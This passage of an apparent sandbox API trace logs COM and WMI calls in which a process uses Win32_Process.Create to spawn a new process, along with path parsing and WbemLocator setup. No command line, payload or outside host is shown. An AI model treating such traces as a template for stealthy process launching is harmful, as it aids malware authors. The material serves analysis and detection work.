puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0069.640] IWbemServices:ExecMethod (in: This=0x1bf01440, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1aa50, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1ad00, ppCallResult=0x0) returned 0x0 [0069.868] IWbemClassObject:Get (in: This=0x1bf1ad00, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2981298*=0, plFlavor=0x298129c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf9c, varVal2=0x0), pType=0x2981298*=19, plFlavor=0x298129c*=0) returned 0x0 [0069.868] IWbemClassObject:Get (in: This=0x1bf1ad00, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2981298*=19, plFlavor=0x298129c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf9c, varVal2=0x0), pType=0x2981298*=19, plFlavor=0x298129c*=0) returned 0x0 [0069.869] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0069.869] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0069.869] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0069.869] IUnknown:Release (This=0x111f638) returned 0x1 [0069.871] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11c98c0) returned 0x0 [0069.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c98c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0069.872] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c98c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119aa60) returned 0x0 [0069.872] WbemDefPath:IUnknown:Release (This=0x11c98c0) returned 0x0 [0069.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119aa60) returned 0x0 [0069.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0069.872] WbemDefPath:IUnknown:AddRef (This=0x119aa60) returned 0x3 [0069.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0069.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0069.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11c9860) returned 0x0 [0069.872] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9860, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.872] WbemDefPath:IUnknown:Release (This=0x11c9860) returned 0x3 [0069.872] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0069.872] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0069.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0069.872] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x2 [0069.872] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x1 [0069.872] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0069.873] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0069.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aa60, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119aa60) returned 0x0 [0069.873] WbemDefPath:IUnknown:AddRef (This=0x119aa60) returned 0x3 [0069.873] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x2 [0069.873] WbemDefPath:IWbemPath:SetText (This=0x119aa60, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0069.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aa60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.873] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0069.873] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0069.873] WbemDefPath:IWbemPath:GetInfo (in: This=0x119aa60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aa60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.873] WbemDefPath:IWbemPath:GetInfo (in: This=0x119aa60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.873] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0069.873] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0069.873] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0069.873] IUnknown:Release (This=0x111f638) returned 0x1 [0069.875] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11c9640) returned 0x0 [0069.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9640, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0069.875] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9640, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119a8e0) returned 0x0 [0069.875] WbemDefPath:IUnknown:Release (This=0x11c9640) returned 0x0 [0069.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119a8e0) returned 0x0 [0069.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0069.876] WbemDefPath:IUnknown:AddRef (This=0x119a8e0) returned 0x3 [0069.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0069.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0069.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11c9800) returned 0x0 [0069.876] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9800, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.876] WbemDefPath:IUnknown:Release (This=0x11c9800) returned 0x3 [0069.876] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0069.876] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0069.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0069.876] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x2 [0069.876] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x1 [0069.876] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0069.876] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0069.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119a8e0) returned 0x0 [0069.876] WbemDefPath:IUnknown:AddRef (This=0x119a8e0) returned 0x3 [0069.876] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x2 [0069.876] WbemDefPath:IWbemPath:SetText (This=0x119a8e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a8e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetText (in: This=0x119a8e0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetText (in: This=0x119a8e0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a8e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a8e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a8e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a8e0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0069.876] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0069.877] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.877] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0069.877] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0069.877] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0069.877] IUnknown:Release (This=0x111f638) returned 0x1 [0069.878] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11c9780) returned 0x0 [0069.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9780, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0069.878] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9780, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119a820) returned 0x0 [0069.879] WbemDefPath:IUnknown:Release (This=0x11c9780) returned 0x0 [0069.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119a820) returned 0x0 [0069.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0069.879] WbemDefPath:IUnknown:AddRef (This=0x119a820) returned 0x3 [0069.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0069.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0069.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11c97c0) returned 0x0 [0069.879] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c97c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.879] WbemDefPath:IUnknown:Release (This=0x11c97c0) returned 0x3 [0069.879] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0069.879] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0069.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0069.879] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x2 [0069.879] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x1 [0069.879] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0069.879] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0069.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119a820) returned 0x0 [0069.879] WbemDefPath:IUnknown:AddRef (This=0x119a820) returned 0x3 [0069.880] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x2 [0069.880] WbemDefPath:IWbemPath:SetText (This=0x119a820, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0069.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a820, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.880] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0069.880] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.880] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0069.880] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0069.880] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0069.880] IUnknown:Release (This=0x111f638) returned 0x1 [0069.881] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11c9360) returned 0x0 [0069.881] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9360, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0069.881] WbemLocator:IClassFactory:CreateInstance (in: This=0x11c9360, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11c94c0) returned 0x0 [0069.881] WbemLocator:IUnknown:Release (This=0x11c9360) returned 0x0 [0069.881] WbemLocator:IUnknown:QueryInterface (in: This=0x11c94c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11c94c0) returned 0x0 [0069.881] WbemLocator:IUnknown:QueryInterface (in: This=0x11c94c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0069.881] WbemLocator:IUnknown:AddRef (This=0x11c94c0) returned 0x3 [0069.881] WbemLocator:IUnknown:QueryInterface (in: This=0x11c94c0, 